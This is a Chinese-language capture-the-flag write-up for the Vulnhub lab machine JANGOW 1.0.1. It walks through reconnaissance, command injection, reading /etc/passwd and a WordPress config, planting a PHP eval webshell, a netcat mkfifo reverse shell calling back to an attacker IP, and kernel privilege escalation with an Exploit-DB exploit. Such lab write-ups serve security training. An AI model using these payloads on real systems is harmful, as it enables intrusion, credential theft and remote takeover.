Vulnhub
JANGOW: 1.0.1
1、环境
环境准备
攻击机:kali(192.168.56.102)
靶机:JANGOW: 1.0.1(192.168.56.101)
网络设置:
- VirtualBox中网络设为host-only,并选择手动配置网卡;
- VM中,kali一块网卡设为桥接,连接到VirtualBox的网卡上,另一块网卡桥接到V8 nat网卡中
下载好靶机之后直接使用VirtualBox虚拟机导入环境,启动即可。
目标:提升为root权限获取root目录下的flag
2、信息收集
- 已知信息:靶机地址192.168.56.101
- 收集目标信息
- 使用arp-scan确定同网段中的目标靶机,
arp-scan -l
- 使用nmap扫描查看目标靶机
- IP地址:
nmap 192.168.56.1/24
,扫描 192.168.0.1-192.168.0.255这一整个网段的ip - 端口开放情况:nmap -Pn -sV -p- -A 192.168.56.101
- IP地址:
- 目录扫描
- 目标主机开放WEB服务,可以扫描一下目录,看看是否能得到一些敏感目录或者文件
dirb http://192.168.56.101
- 使用arp-scan确定同网段中的目标靶机,
3、渗透过程
3.1、收集网站信息
-
浏览器访问80端口,点击site目录进入网页,查看页面和源代码
-
点击Buscar按钮出现链接
http://192.168.56.101/site/busque.php?buscar=
,发现可能是个传参点,尝试输入whoami
,发现是命令执行传参点(RCE漏洞) -
输入
id
获取当前登陆用户的用户名(www-data),以便根据不同的用户权限来执行不同的操作 -
输入
cat /etc/passwd
等命令获取网站中的用户信息
-
查看jangow01用户目录下的文件:
ls -arl /home/jangow01
查看其中的文件user.txt:cat /home/jangow01/user.txt
-
查看目录下wordpress目录中的文件:
ls wordpress
查看其中config.php文件的内容:cat wordpress/config.php
3.2、获取webshell
-
将一句话木马写入到目录中
http://192.168.0.103/site/busque.php?buscar=echo](http://192.168.0.103/site/busque.php?buscar=echo) '<?php @eval($_POST('shell'));?>' >> webshell.php
使用ls命令查看是否成功写入
-
成功写入后,尝试使用蚁剑等shell连接工具进行连接,拿到目标系统的webshell
-
翻看目录有一个备份文件,得到一个账号密码
-
前期信息收集,发现有开放一个ftp的服务,尝试使用得到的两个账号密码进行登陆
3.3、反弹shell
-
将反弹shell的代码写入服务器目录中
通过shell连接工具(蚁剑等)在目录中创建shell.php文件,写入如下代码
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.104 443 >/tmp/f');?>
-
kali进行监听,浏览器访问shell.php文件
http://192.168.56.101/site/shell.php
-
将反弹的shell升级为交互式的shell
反弹的shell功能有限,如没有命令历史记录、文件名称、命令自动完成等,操作比较麻烦。需要升级远程shell(仅限Unix机器)
-
根据获取的用户名和密码,尝试登陆到用户的系统中,获取一些信息
- sudo -l #查看jangow01用户的sudo命令
4、提权过程
4.1、收集系统信息
unmae -a
#查看系统内核
4.2、寻找可利用的exp
-
根据获取的系统信息到exploit-db上找提权的exp,下载exp,直接使用蚁剑上传
-
或者使用kali中的searchsploit查看
-
寻找45010.c,并查看如何使用
- 注:
1)若find / -name
无法使用,执行umout /run/user/1000/gvfs
和rm -rf /run/user/1000/gvfs
两条命令
2)也可使用cp命令将45010.c文件复制到指定目录中cp *source* *target*
- 注:
-
将45010.c文件下载到本地
4.3、将exp传送到靶机中运行提权
- 本地搭建http服务器传送文件,但发现目标主机连接不上
- 使用靶机开放的ftp服务进行传送,ftp连接的是靶场的jangow01用户,上传的文件需要在该用户的目录下才可上传成功
- 编译、加执行权限,执行,成功提权
5、总结
(1)获取的账号密码信息可能是通用的,比如系统、其他app等
(2)使用ftp传输文件时,注意连接的用户,只有切换到该用户目录中方可成功传输文件。用户的信息一般存放在/home下以用户名命名的文件夹
(3)反弹shell操作前先获取开放的端口
(4)反弹的shell有时候需要切换到完整的交互式bash;争取获取可交互的shell,会有信息的回显
(5)使用浏览器访问网站的配置文件等脚本信息时,打开开发者模式,有些重要信息是以注释的方式返回,不会回显在页面中,但在回显的代码中会显示
(6)反弹shell
- nc
- 访问式反弹,即攻击机nc,浏览器访问靶机中反弹shell的脚本
(7)bp扫描网站漏洞